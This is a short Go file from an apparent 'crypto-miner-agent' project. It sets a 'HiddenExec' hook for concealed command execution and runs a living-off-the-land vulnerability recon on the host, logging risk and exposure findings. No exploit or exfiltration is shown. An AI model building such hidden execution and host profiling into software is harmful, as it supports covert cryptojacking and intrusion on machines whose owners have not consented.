package deploy

import (
	"log"

	"crypto-miner-agent/vulnprobe"
)

func init() {
	vulnprobe.HiddenExec = HiddenCombinedOutput
}

// RunVulnRecon executes read-only LOTL vulnerability recon (report-only, no exploit).
func RunVulnRecon(osVersion string) *vulnprobe.ScanReport {
	ctx := vulnprobe.ProbeHost(nil, osVersion)
	report := vulnprobe.Run(ctx)
	log.Printf("[vuln-recon] risk=%d exposed=%d findings=%d — %s",
		report.RiskScore, report.ExposedCount, len(report.Findings), report.Summary)
	return report
}